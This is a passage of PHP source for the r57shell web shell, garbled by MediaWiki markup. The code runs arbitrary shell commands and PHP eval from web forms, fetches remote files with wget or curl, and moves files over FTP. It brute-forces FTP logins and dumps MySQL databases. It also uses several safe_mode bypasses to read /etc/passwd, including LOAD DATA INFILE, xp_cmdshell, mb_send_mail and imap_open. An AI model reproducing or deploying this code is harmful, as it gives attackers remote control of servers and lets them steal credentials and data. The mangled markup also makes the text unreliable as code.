1616      } if (!empty($_POST{{mediawiki.external('\'with\'')}}) &amp
 >;&amp;&nbsp;!empty($_POST{{mediawiki.external('\'rem_file\'')}}) 
 >&amp;&amp;&nbsp;!empty($_POST{{mediawiki.external('\'loc_file\'')
 >}})) {
1617    </p>
1618    <pre class="eval">
1619switch($_POST['with'])
1620{
1621case wget:
1622$_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POS
 >T['loc_file']."";
1623break;
1624case fetch:
1625$_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$
 >_POST['rem_file']."";
1626break;
1627case lynx:
1628$_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." &g
 >t; ".$_POST['loc_file']."";
1629break;
1630case links:
1631$_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." &
 >gt; ".$_POST['loc_file']."";
1632break;
1633case GET:
1634$_POST['cmd'] = which('GET')." ".$_POST['rem_file']." &gt; ".$_PO
 >ST['loc_file']."";
1635break;
1636case curl:
1637$_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POS
 >T['loc_file']."";
1638break;
1639}
1640</pre>
1641    <p>
1642      } if(!empty($_POST{{mediawiki.external('\'cmd\'')}}) &amp;&
 >amp; ($_POST{{mediawiki.external('\'cmd\'')}}=="ftp_file_up" || $
 >_POST{{mediawiki.external('\'cmd\'')}}=="ftp_file_down"))
1643    </p>
1644    <pre class="eval">
1645{
1646list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']
 >);
1647if(empty($ftp_port)) { $ftp_port = 21; }
1648$connection = @ftp_connect ($ftp_server,$ftp_port,10);
1649if(!$connection) { fe($language,0); }
1650else
1651 {
1652 if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_passw
 >ord'])) { fe($language,1); }
1653 else
1654  {
1655  if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file']
 >)==$dir) { $_POST['loc_file']=$dir.(($windows)?('\\'):('/')).base
 >name($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file
 >'],$_POST['ftp_file'],$_POST['mode']);       }
1656  if($_POST['cmd']=="ftp_file_up")   { @ftp_put($connection,$_POS
 >T['ftp_file'],$_POST['loc_file'],$_POST['mode']);      }
1657  }
1658 }
1659@ftp_close($connection);
1660$_POST['cmd'] = "";
1661}
1662</pre>
1663    <p>
1664      if(!empty($_POST{{mediawiki.external('\'cmd\'')}}) &amp;&am
 >p; $_POST{{mediawiki.external('\'cmd\'')}}=="ftp_brute")
1665    </p>
1666    <pre class="eval">
1667{
1668list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']
 >);
1669if(empty($ftp_port)) { $ftp_port = 21; }
1670$connection = @ftp_connect ($ftp_server,$ftp_port,10);
1671if(!$connection) { fe($language,0); $_POST['cmd'] = ""; }
1672</pre>else if(!$users=get_users()) { echo "
1673    <table bgcolor="#000000" cellpadding="0" cellspacing="0" widt
 >h="100%">
1674      <tbody>
1675        <tr>
1676          <td bgcolor="#CCCCCC">
1677            <div align="center">
1678              <font color="red" face="Verdana" size="-2"><b>".$la
 >ng{{mediawiki.external('$language.\'_text96\'')}}."</b></font>
1679            </div>
1680          </td>
1681        </tr>
1682      </tbody>
1683    </table>"; $_POST{{mediawiki.external('\'cmd\'')}} = ""; }
1684    <pre class="eval">
1685@ftp_close($connection);
1686}
1687</pre>
1688    <p>
1689      echo $table_up3; if (empty($_POST{{mediawiki.external('\'cm
 >d\'')}})&amp;&amp;!$safe_mode) { $_POST{{mediawiki.external('\'cm
 >d\'')}}=($windows)?("dir"):("ls -lia"); } else if(empty($_POST{{m
 >ediawiki.external('\'cmd\'')}})&amp;&amp;$safe_mode){ $_POST{{med
 >iawiki.external('\'cmd\'')}}="safe_dir"; }
1690    </p>echo $font.$lang{{mediawiki.external('$language.\'_text1\
 >'')}}.": <b>".$_POST{{mediawiki.external('\'cmd\'')}}."</b>&lt;/f
 >ont&gt;&lt;/td&gt;&lt;/tr&gt;
1691    <div align="center">
1692      <b>&lt;textarea name=report cols=121 rows=15&gt;";</b>
1693      <p>
1694        <b>if($safe_mode) {</b>
1695      </p>
1696      <pre class="eval">
1697<b>switch($_POST['cmd'])
1698{
1699case 'safe_dir':
1700 $d=@dir($dir);
1701 if ($d)
1702  {
1703  while (false!==($file=$d-&gt;read()))
1704   {
1705    if ($file=="." || $file=="..") continue;
1706    @clearstatcache();
1707    list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $si
 >ze, $atime, $mtime, $ctime, $bsize) = stat($file);
1708    if($windows){
1709    echo date("d.m.Y H:i",$mtime);
1710    if(@is_dir($file)) echo "  &lt;DIR&gt; "; else printf("% 7s "
 >,$size);
1711    }
1712    else{
1713    $owner = @posix_getpwuid($uid);
1714    $grgid = @posix_getgrgid($gid);
1715    echo $inode." ";
1716    echo perms(@fileperms($file));
1717    printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['na
 >me'],$size);
1718    echo date("d.m.Y H:i ",$mtime);
1719    }
1720    echo "$file\n";
1721   }
1722  $d-&gt;close();
1723  }
1724 else echo $lang[$language._text29];
1725break;
1726case 'safe_file':
1727 if(@is_file($_POST['file']))
1728  {
1729  $file = @file($_POST['file']);
1730  if($file)
1731   {
1732   $c = @sizeof($file);
1733   for($i=0;$i&lt;$c;$i++) { echo htmlspecialchars($file[$i]); }
1734   }
1735  else echo $lang[$language._text29];
1736  }
1737 else echo $lang[$language._text31];
1738 break;
1739 case 'test1':
1740 $ci = @curl_init("file://".$_POST['test1_file']."");
1741 $cf = @curl_exec($ci);
1742 echo $cf;
1743 break;
1744 case 'test2':
1745 @include($_POST['test2_file']);
1746 break;
1747 case 'test3':
1748 if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { 
 >$_POST['test3_port'] = "3306"; }
1749 $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['t
 >est3_ml'],$_POST['test3_mp']);
1750 if($db)
1751  {
1752  if(@mysql_select_db($_POST['test3_md'],$db))
1753   {
1754    $sql = "DROP TABLE IF EXISTS temp_r57_table;";
1755    @mysql_query($sql);
1756    $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT N
 >ULL );";
1757    @mysql_query($sql);
1758    $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TA
 >BLE temp_r57_table;";
1759    @mysql_query($sql);
1760    $sql = "SELECT * FROM temp_r57_table;";
1761    $r = @mysql_query($sql);
1762    while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialc
 >hars($r_sql[0]); }
1763    $sql = "DROP TABLE IF EXISTS temp_r57_table;";
1764    @mysql_query($sql);
1765   }
1766   else echo "[-] ERROR! Can't select database";
1767  @mysql_close($db);
1768  }
1769 else echo "[-] ERROR! Can't connect to mysql server";
1770 break;
1771 case 'test4':
1772 if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { 
 >$_POST['test4_port'] = "1433"; }
1773 $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['t
 >est4_ml'],$_POST['test4_mp']);
1774 if($db)
1775  {
1776  if(@mssql_select_db($_POST['test4_md'],$db))
1777   {
1778    @mssql_query("drop table r57_temp_table",$db);
1779    @mssql_query("create table r57_temp_table ( string VARCHAR (5
 >00) NULL)",$db);
1780    @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_c
 >mdshell '".$_POST['test4_file']."'",$db);
1781    $res = mssql_query("select * from r57_temp_table",$db);
1782    while(($row=@mssql_fetch_row($res)))
1783     {
1784     echo $row[0]."\r\n";
1785     }
1786   @mssql_query("drop table r57_temp_table",$db);
1787   }
1788   else echo "[-] ERROR! Can't select database";
1789  @mssql_close($db);
1790  }
1791 else echo "[-] ERROR! Can't connect to MSSQL server";
1792 break;
1793 case 'test5':
1794 if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mai
 >l');
1795 $extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail";
1796 @mb_send_mail(NULL, NULL, NULL, NULL, $extra);
1797 $lines = file ('/tmp/mb_send_mail');
1798 foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n";
 > }
1799 break;
1800 case 'test6':
1801 $stream = @imap_open('/etc/passwd', "", "");
1802 $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*")
 >;
1803 for ($i = 0; $i &lt; count($dir_list); $i++) echo $dir_list[$i].
 >"\r\n";
1804 @imap_close($stream);
1805 break;
1806 case 'test7':
1807 $stream = @imap_open($_POST['test7_file'], "", "");
1808 $str = @imap_body($stream, 1);
1809 echo $str;
1810 @imap_close($stream);
1811 break;
1812}
1813</b>
1814</pre>
1815      <p>
1816        <b>} else if(($_POST{{mediawiki.external('\'cmd\'')}}!="p
 >hp_eval")&amp;&amp;($_POST{{mediawiki.external('\'cmd\'')}}!="mys
 >ql_dump")&amp;&amp;($_POST{{mediawiki.external('\'cmd\'')}}!="db_
 >query")&amp;&amp;($_POST{{mediawiki.external('\'cmd\'')}}!="ftp_b
 >rute")){</b>
1817      </p>
1818      <pre class="eval">
1819<b>$cmd_rep = ex($_POST['cmd']);
1820if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_re
 >p,'d','w'))."\n"; }
1821else { echo @htmlspecialchars($cmd_rep)."\n"; }}
1822</b>
1823</pre>
1824      <p>
1825        <b>if ($_POST{{mediawiki.external('\'cmd\'')}}=="ftp_brut
 >e")</b>
1826      </p>
1827      <pre class="eval">
1828<b>{
1829$suc = 0;
1830foreach($users as $user)
1831 {
1832 $connection = @ftp_connect($ftp_server,$ftp_port,10);
1833 if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user 
 >- success\r\n"; $suc++; }
1834 else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$u
 >ser,strrev($user))) { echo "[+] $user:".strrev($user)." - success
 >\r\n"; $suc++; } }
1835 @ftp_close($connection);
1836 }
1837echo "\r\n-------------------------------------\r\n";
1838$count = count($users);
1839if(isset($_POST['reverse'])) { $count *= 2; }
1840echo $lang[$language.'_text97'].$count."\r\n";
1841echo $lang[$language.'_text98'].$suc."\r\n";
1842}
1843</b>
1844</pre>
1845      <p>
1846        <b>if ($_POST{{mediawiki.external('\'cmd\'')}}=="php_eval
 >"){</b>
1847      </p>
1848      <pre class="eval">
1849<b>$eval = @str_replace("&lt;?","",$_POST['php_eval']);
1850$eval = @str_replace("?&gt;","",$eval);
1851@eval($eval);}
1852</b>
1853</pre>
1854      <p>
1855        <b>if ($_POST{{mediawiki.external('\'cmd\'')}}=="mysql_du
 >mp")</b>
1856      </p>
1857      <pre class="eval">
1858<b>{
1859 if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w")
 >; }
1860 $sql = new my_sql();
1861 $sql-&gt;db   = $_POST['db'];
1862 $sql-&gt;host = $_POST['db_server'];
1863 $sql-&gt;port = $_POST['db_port'];
1864 $sql-&gt;user = $_POST['mysql_l'];
1865 $sql-&gt;pass = $_POST['mysql_p'];
1866 $sql-&gt;base = $_POST['mysql_db'];
1867 if(!$sql-&gt;connect()) { echo "[-] ERROR! Can't connect to SQL 
 >server"; }
1868 else if(!$sql-&gt;select_db()) { echo "[-] ERROR! Can't select d
 >atabase"; }
1869 else if(!$sql-&gt;dump($_POST['mysql_tbl'])) { echo "[-] ERROR! 
 >Can't create dump"; }
1870 else {
1871  if(empty($_POST['dif'])) { foreach($sql-&gt;dump as $v) echo $v
 >."\r\n"; }
1872  else if($fp){ foreach($sql-&gt;dump as $v) @fputs($fp,$v."\r\n"
 >); }
1873  else { echo "[-] ERROR! Can't write in dump file"; }
1874  }
1875}
1876</b>
1877</pre><b>echo "&lt;/textarea&gt;</b>
1878    </div><b>";</b>
1879    <p>
1880      <b>echo "</b>
1881    </p>"; echo ""; echo ""; function up_down($id) { global $lang
 >; global $language; return '&amp;nbsp&lt;img src='.$_SERVER{{medi
 >awiki.external('\'PHP_SELF\'')}}.'?img=1 onClick="document.getEle
 >mentById(\<i>.$id.'\').style.display = \'none\'; document.cookie=
 >\</i>.$id.'=0;\';" title="'.$lang{{mediawiki.external('$language.
 >\'_text109\'')}}.'"&gt;&lt;img src='.$_SERVER{{mediawiki.external
 >('\'PHP_SELF\'')}}.'?img=2 onClick="document.getElementById(\<i>.
 >$id.'\').style.display = \'block\'; document.cookie=\</i>.$id.'=1
 >;\';" title="'.$lang{{mediawiki.external('$language.\'_text110\''
 >)}}.'"&gt;'; } function div($id) { if(isset($_COOKIE{{mediawiki.e
 >xternal('$id')}}) &amp;&amp; $_COOKIE{{mediawiki.external('$id')}
 >}==0) return '
1882    <div id=".27..24id..27" style="display: none;">
1883      '; return '
1884      <div id=".27..24id..27">
1885        ';
1886        <pre class="eval">
1887}
1888</pre>
1889        <p>
1890          if(!$safe_mode){ echo $fs.$table_up1.$lang{{mediawiki.e
 >xternal('$language.\'_text2\'')}}.up_down('id1').$table_up2.div('
 >id1').$ts; echo sr(15,"<b>".$lang{{mediawiki.external('$language.
 >\'_text3\'')}}.$arrow."</b>",in('text','cmd',85,<i>));</i> echo s
 >r(15,"<b>".$lang{{mediawiki.external('$language.\'_text4\'')}}.$a
 >rrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0
 >,$lang{{mediawiki.external('$language.\'_butt1\'')}}));
1891        </p>echo $te.'
1892      </div>'.$table_end1.$fe;
1893      <p>
1894        } else{ echo $fs.$table_up1.$lang{{mediawiki.external('$l
 >anguage.\'_text28\'')}}.up_down('id2').$table_up2.div('id2').$ts;
 > echo sr(15,"<b>".$lang{{mediawiki.external('$language.\'_text4\'
 >')}}.$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'
 >safe_dir').ws(4).in('submit','submit',0,$lang{{mediawiki.external
 >('$language.\'_butt6\'')}}));
1895      </p>echo $te.'
1896    </div>'.$table_end1.$fe;
1897    <p>
1898      } echo $fs.$table_up1.$lang{{mediawiki.external('$language.
 >\'_text42\'')}}.up_down('id3').$table_up2.div('id3').$ts; echo sr
 >(15,"<b>".$lang{{mediawiki.external('$language.\'_text43\'')}}.$a
 >rrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit
 >_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$l
 >ang{{mediawiki.external('$language.\'_butt11\'')}})); echo $te.'&
 >lt;/div&gt;'.$table_end1.$fe; if($safe_mode){ echo $fs.$table_up1
 >.$lang{{mediawiki.external('$language.\'_text57\'')}}.up_down('id
 >4').$table_up2.div('id4').$ts; echo sr(15,"<b>".$lang{{mediawiki.
 >external('$language.\'_text58\'')}}.$arrow."</b>",in('text','mk_n
 >ame',54,(!empty($_POST{{mediawiki.external('\'mk_name\'')}})?($_P
 >OST{{mediawiki.external('\'mk_name\'')}}):("new_name"))).ws(4)."&
 >lt;select name=action&gt;&lt;option value=create&gt;".$lang{{medi
 >awiki.external('$language.\'_text65\'')}}."&lt;/option&gt;&lt;opt
 >ion value=delete&gt;".$lang{{mediawiki.external('$language.\'_tex
 >t66\'')}}."&lt;/option&gt;&lt;/select&gt;".ws(3)."&lt;select name
 >=what&gt;&lt;option value=file&gt;".$lang{{mediawiki.external('$l
 >anguage.\'_text59\'')}}."&lt;/option&gt;&lt;option value=dir&gt;"
 >.$lang{{mediawiki.external('$language.\'_text60\'')}}."&lt;/optio
 >n&gt;&lt;/select&gt;".in('hidden','cmd',0,'mk').in('hidden','dir'
 >,0,$dir).ws(4).in('submit','submit',0,$lang{{mediawiki.external('
 >$language.\'_butt13\'')}})); echo $te.'&lt;/div&gt;'.$table_end1.
 >$fe; } if($safe_mode &amp;&amp; $unix){ echo $fs.$table_up1.$lang
 >{{mediawiki.external('$language.\'_text67\'')}}.up_down('id5').$t
 >able_up2.div('id5').$ts; echo sr(15,"<b>".$lang{{mediawiki.extern
 >al('$language.\'_text68\'')}}.$arrow."</b>","&lt;select name=what
 >&gt;&lt;option value=mod&gt;CHMOD&lt;/option&gt;&lt;option value=
 >own&gt;CHOWN&lt;/option&gt;&lt;option value=grp&gt;CHGRP&lt;/opti
 >on&gt;&lt;/select&gt;".ws(2)."<b>".$lang{{mediawiki.external('$la
 >nguage.\'_text69\'')}}.$arrow."</b>".ws(2).in('text','param1',40,
 >(($_POST{{mediawiki.external('\'param1\'')}})?($_POST{{mediawiki.
 >external('\'param1\'')}}):("filename"))).ws(2)."<b>".$lang{{media
 >wiki.external('$language.\'_text70\'')}}.$arrow."</b>".ws(2).in('
 >text','param2 title="'.$lang{{mediawiki.external('$language.\'_te
 >xt71\'')}}.'"',26,(($_POST{{mediawiki.external('\'param2\'')}})?(
 >$_POST{{mediawiki.external('\'param2\'')}}):("0777"))).in('hidden
 >','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','sub
 >mit',0,$lang{{mediawiki.external('$language.\'_butt1\'')}})); ech
 >o $te.'&lt;/div&gt;'.$table_end1.$fe; } if(!$safe_mode){ foreach 
 >($aliases as $alias_name=&gt;$alias_cmd)
1899    </p>
1900    <pre class="eval">
1901{
1902$aliases2 .= "&lt;option&gt;$alias_name&lt;/option&gt;";
1903}
1904</pre>
1905    <p>
1906      echo $fs.$table_up1.$lang{{mediawiki.external('$language.\'
 >_text7\'')}}.up_down('id6').$table_up2.div('id6').$ts; echo sr(15
 >,"<b>".ws(9).$lang{{mediawiki.external('$language.\'_text8\'')}}.
 >$arrow.ws(4)."</b>","&lt;select name=alias&gt;".$aliases2."&lt;/s
 >elect&gt;".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0
 >,$lang{{mediawiki.external('$language.\'_butt1\'')}})); echo $te.
 >'&lt;/div&gt;'.$table_end1.$fe; } echo $fs.$table_up1.$lang{{medi
 >awiki.external('$language.\'_text54\'')}}.up_down('id7').$table_u
 >p2.div('id7').$ts; echo sr(15,"<b>".$lang{{mediawiki.external('$l
 >anguage.\'_text52\'')}}.$arrow."</b>",in('text','s_text',85,'text
 >').ws(4).in('submit','submit',0,$lang{{mediawiki.external('$langu
 >age.\'_butt12\'')}})); echo sr(15,"<b>".$lang{{mediawiki.external
 >('$language.\'_text53\'')}}.$arrow."</b>",in('text','s_dir',85,$d
 >ir)." * ( /root;/home;/tmp )"); echo sr(15,"<b>".$lang{{mediawiki
 >.external('$language.\'_text55\'')}}.$arrow."</b>",in('checkbox',
 >'m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php
 >;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$
 >dir)); echo $te.'&lt;/div&gt;'.$table_end1.$fe; if(!$safe_mode &a
 >mp;&amp; $unix){ echo $fs.$table_up1.$lang{{mediawiki.external('$
 >language.\'_text76\'')}}.up_down('id8').$table_up2.div('id8').$ts
 >; echo sr(15,"<b>".$lang{{mediawiki.external('$language.\'_text72
 >\'')}}.$arrow."</b>",in('text','s_text',85,'text').ws(4).in('subm
 >it','submit',0,$lang{{mediawiki.external('$language.\'_butt12\'')
 >}})); echo sr(15,"<b>".$lang{{mediawiki.external('$language.\'_te
 >xt73\'')}}.$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/
 >home;/tmp )"); echo sr(15,"<b>".$lang{{mediawiki.external('$langu
 >age.\'_text74\'')}}.$arrow."</b>",in('text','s_mask',85,'*.{{medi
 >awiki.external('hc')}}').ws(1).$lang{{mediawiki.external('$langua
 >ge.\'_text75\'')}}.in('hidden','cmd',0,'find_text').in('hidden','
 >dir',0,$dir)); echo $te.'&lt;/div&gt;'.$table_end1.$fe; } echo $f
 >s.$table_up1.$lang{{mediawiki.external('$language.\'_text32\'')}}
 >.up_down('id9').$table_up2.$font;
1907    </p>echo "
1908    <div align="center">
1909      ".div('id9')."&lt;textarea name=php_eval cols=100 rows=3&gt
 >;";
1910      <p>
1911        echo (!empty($_POST{{mediawiki.external('\'php_eval\'')}}
 >)?($_POST{{mediawiki.external('\'php_eval\'')}}):("/* delete scri
 >pt */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\
 >");")); echo "&lt;/textarea&gt;"; echo in('hidden','dir',0,$dir).
 >in('hidden','cmd',0,'php_eval'); echo "<br>
1912        ".ws(1).in('submit','submit',0,$lang{{mediawiki.external(
 >'$language.\'_butt1\'')}});
1913      </p>echo "
1914    </div>&lt;/div&gt;&lt;/font&gt;";
1915    <p>
1916      echo $table_end1.$fe; if($safe_mode&amp;&amp;$curl_on) { ec
 >ho $fs.$table_up1.$lang{{mediawiki.external('$language.\'_text33\
 >'')}}.up_down('id10').$table_up2.div('id10').$ts; echo sr(15,"<b>
 >".$lang{{mediawiki.external('$language.\'_text30\'')}}.$arrow."</
 >b>",in('text','test1_file',85,(!empty($_POST{{mediawiki.external(
 >'\'test1_file\'')}})?($_POST{{mediawiki.external('\'test1_file\''
 >)}}):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd
 >',0,'test1').ws(4).in('submit','submit',0,$lang{{mediawiki.extern
 >al('$language.\'_butt8\'')}})); echo $te.'&lt;/div&gt;'.$table_en
 >d1.$fe; } if($safe_mode) { echo $fs.$table_up1.$lang{{mediawiki.e
 >xternal('$language.\'_text34\'')}}.up_down('id11').$table_up2.div
 >('id11').$ts;
1917    </p>echo "
1918    <table cellpadding="0" cellspacing="0" width="100%"></table>"
 >; echo sr(15,"<b>".$lang{{mediawiki.external('$language.\'_text30
 >\'')}}.$arrow."</b>",in('text','test2_file',85,(!empty($_POST{{me
 >diawiki.external('\'test2_file\'')}})?($_POST{{mediawiki.external
 >('\'test2_file\'')}}):("/etc/passwd"))).in('hidden','dir',0,$dir)
 >.in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang{
 >{mediawiki.external('$language.\'_butt8\'')}})); echo $te.'&lt;/d
 >iv&gt;'.$table_end1.$fe; } if($safe_mode&amp;&amp;$mysql_on) { ec
 >ho $fs.$table_up1.$lang{{mediawiki.external('$language.\'_text35\
 >'')}}.up_down('id12').$table_up2.div('id12').$ts; echo sr(15,"<b>
 >".$lang{{mediawiki.external('$language.\'_text36\'')}}.$arrow."</
 >b>",in('text','test3_md',15,(!empty($_POST{{mediawiki.external('\
 >'test3_md\'')}})?($_POST{{mediawiki.external('\'test3_md\'')}}):(
 >"mysql"))).ws(4)."<b>".$lang{{mediawiki.external('$language.\'_te
 >xt37\'')}}.$arrow."</b>".in('text','test3_ml',15,(!empty($_POST{{
 >mediawiki.external('\'test3_ml\'')}})?($_POST{{mediawiki.external
 >('\'test3_ml\'')}}):("root"))).ws(4)."<b>".$lang{{mediawiki.exter
 >nal('$language.\'_text38\'')}}.$arrow."</b>".in('text','test3_mp'
 >,15,(!empty($_POST{{mediawiki.external('\'test3_mp\'')}})?($_POST
 >{{mediawiki.external('\'test3_mp\'')}}):("password"))).ws(4)."<b>
 >".$lang{{mediawiki.external('$language.\'_text14\'')}}.$arrow."</
 >b>".in('text','test3_port',15,(!empty($_POST{{mediawiki.external(
 >'\'test3_port\'')}})?($_POST{{mediawiki.external('\'test3_port\''
 >)}}):("3306")))); echo sr(15,"<b>".$lang{{mediawiki.external('$la
 >nguage.\'_text30\'')}}.$arrow."</b>",in('text','test3_file',96,(!
 >empty($_POST{{mediawiki.external('\'test3_file\'')}})?($_POST{{me
 >diawiki.external('\'test3_file\'')}}):("/etc/passwd"))).in('hidde
 >n','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','
 >submit',0,$lang{{mediawiki.external('$language.\'_butt8\'')}})); 
 >echo $te.'&lt;/div&gt;'.$table_end1.$fe; } if($safe_mode&amp;&amp
 >;$mssql_on) { echo $fs.$table_up1.$lang{{mediawiki.external('$lan
 >guage.\'_text85\'')}}.up_down('id13').$table_up2.div('id13').$ts;
 > echo sr(15,"<b>".$lang{{mediawiki.external('$language.\'_text36\
 >'')}}.$arrow."</b>",in('text','test4_md',15,(!empty($_POST{{media
 >wiki.external('\'test4_md\'')}})?($_POST{{mediawiki.external('\'t
 >est4_md\'')}}):("master"))).ws(4)."<b>".$lang{{mediawiki.external
 >('$language.\'_text37\'')}}.$arrow."</b>".in('text','test4_ml',15
 >,(!empty($_POST{{mediawiki.external('\'test4_ml\'')}})?($_POST{{m
 >ediawiki.external('\'test4_ml\'')}}):("sa"))).ws(4)."<b>".$lang{{
 >mediawiki.external('$language.\'_text38\'')}}.$arrow."</b>".in('t
 >ext','test4_mp',15,(!empty($_POST{{mediawiki.external('\'test4_mp
 >\'')}})?($_POST{{mediawiki.external('\'test4_mp\'')}}):("password
 >"))).ws(4)."<b>".$lang{{mediawiki.external('$language.\'_text14\'
 >')}}.$arrow."</b>".in('text','test4_port',15,(!empty($_POST{{medi
 >awiki.external('\'test4_port\'')}})?($_POST{{mediawiki.external('
 >\'test4_port\'')}}):("1433")))); echo sr(15,"<b>".$lang{{mediawik
 >i.external('$language.\'_text3\'')}}.$arrow."</b>",in('text','tes
 >t4_file',96,(!empty($_POST{{mediawiki.external('\'test4_file\'')}
 >})?($_POST{{mediawiki.external('\'test4_file\'')}}):("dir"))).in(
 >'hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('sub
 >mit','submit',0,$lang{{mediawiki.external('$language.\'_butt8\'')
 >}})); echo $te.'&lt;/div&gt;'.$table_end1.$fe; } if($safe_mode&am
 >p;&amp;$unix&amp;&amp;function_exists('mb_send_mail')){ echo $fs.
 >$table_up1.$lang{{mediawiki.external('$language.\'_text112\'')}}.
 >up_down('id22').$table_up2.div('id22').$ts; echo sr(15,"<b>".$lan
 >g{{mediawiki.external('$language.\'_text30\'')}}.$arrow."</b>",in
 >('text','test5_file',96,(!empty($_POST{{mediawiki.external('\'tes
 >t5_file\'')}})?($_POST{{mediawiki.external('\'test5_file\'')}}):(
 >"/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'t
 >est5').ws(4).in('submit','submit',0,$lang{{mediawiki.external('$l
 >anguage.\'_butt8\'')}})); echo $te.'&lt;/div&gt;'.$table_end1.$fe
 >; } if($safe_mode&amp;&amp;function_exists('imap_list')){ echo $f
 >s.$table_up1.$lang{{mediawiki.external('$language.\'_text113\'')}
 >}.up_down('id23').$table_up2.div('id23').$ts; echo sr(15,"<b>".$l
 >ang{{mediawiki.external('$language.\'_text4\'')}}.$arrow."</b>",i
 >n('text','test6_file',96,(!empty($_POST{{mediawiki.external('\'te
 >st6_file\'')}})?($_POST{{mediawiki.external('\'test6_file\'')}}):
 >($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').w
 >s(4).in('submit','submit',0,$lang{{mediawiki.external('$language.
 >\'_butt8\'')}})); echo $te.'&lt;/div&gt;'.$table_end1.$fe; } if($
 >safe_mode&amp;&amp;function_exists('imap_body')){ echo $fs.$table
 >_up1.$lang{{mediawiki.external('$language.\'_text114\'')}}.up_dow
 >n('id24').$table_up2.div('id24').$ts; echo sr(15,"<b>".$lang{{med
 >iawiki.external('$language.\'_text30\'')}}.$arrow."</b>",in('text
 >','test7_file',96,(!empty($_POST{{mediawiki.external('\'test7_fil
 >e\'')}})?($_POST{{mediawiki.external('\'test7_file\'')}}):("/etc/
 >passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7')
 >.ws(4).in('submit','submit',0,$lang{{mediawiki.external('$languag
 >e.\'_butt8\'')}})); echo $te.'&lt;/div&gt;'.$table_end1.$fe; } if
 >(@ini_get('file_uploads')){ echo "&lt;form name=upload method=POS
 >T ENCTYPE=multipart/form-data&gt;"; echo $table_up1.$lang{{mediaw
 >iki.external('$language.\'_text5\'')}}.up_down('id14').$table_up2
 >.div('id14').$ts; echo sr(15,"<b>".$lang{{mediawiki.external('$la
 >nguage.\'_text6\'')}}.$arrow."</b>",in('file','userfile',85,<i>))
 >;</i> echo sr(15,"<b>".$lang{{mediawiki.external('$language.\'_te
 >xt21\'')}}.$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('te
 >xt','new_name',82,<i>).in('hidden','dir',0,$dir).ws(4).in('submit
 >','submit',0,$lang{{mediawiki.external('$language.\'_butt2\'')}})
 >);</i> echo $te.'&lt;/div&gt;'.$table_end1.$fe; } if(!$safe_mode&
 >amp;&amp;!$windows){ echo $fs.$table_up1.$lang{{mediawiki.externa
 >l('$language.\'_text15\'')}}.up_down('id15').$table_up2.div('id15
 >').$ts; echo sr(15,"<b>".$lang{{mediawiki.external('$language.\'_
 >text16\'')}}.$arrow."</b>","&lt;select size=\"1\" name=\"with\"&g
 >t;&lt;option value=\"wget\"&gt;wget&lt;/option&gt;&lt;option valu
 >e=\"fetch\"&gt;fetch&lt;/option&gt;&lt;option value=\"lynx\"&gt;l
 >ynx&lt;/option&gt;&lt;option value=\"links\"&gt;links&lt;/option&
 >gt;&lt;option value=\"curl\"&gt;curl&lt;/option&gt;&lt;option val
 >ue=\"GET\"&gt;GET&lt;/option&gt;&lt;/select&gt;".in('hidden','dir
 >',0,$dir).ws(2)."<b>".$lang{{mediawiki.external('$language.\'_tex
 >t17\'')}}.$arrow."</b>".in('text','rem_file',78,'http://')); echo
 > sr(15,"<b>".$lang{{mediawiki.external('$language.\'_text18\'')}}
 >.$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','
 >submit',0,$lang{{mediawiki.external('$language.\'_butt2\'')}})); 
 >echo $te.'&lt;/div&gt;'.$table_end1.$fe; } echo $fs.$table_up1.$l
 >ang{{mediawiki.external('$language.\'_text86\'')}}.up_down('id16'
 >).$table_up2.div('id16').$ts; echo sr(15,"<b>".$lang{{mediawiki.e
 >xternal('$language.\'_text59\'')}}.$arrow."</b>",in('text','d_nam
 >e',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir
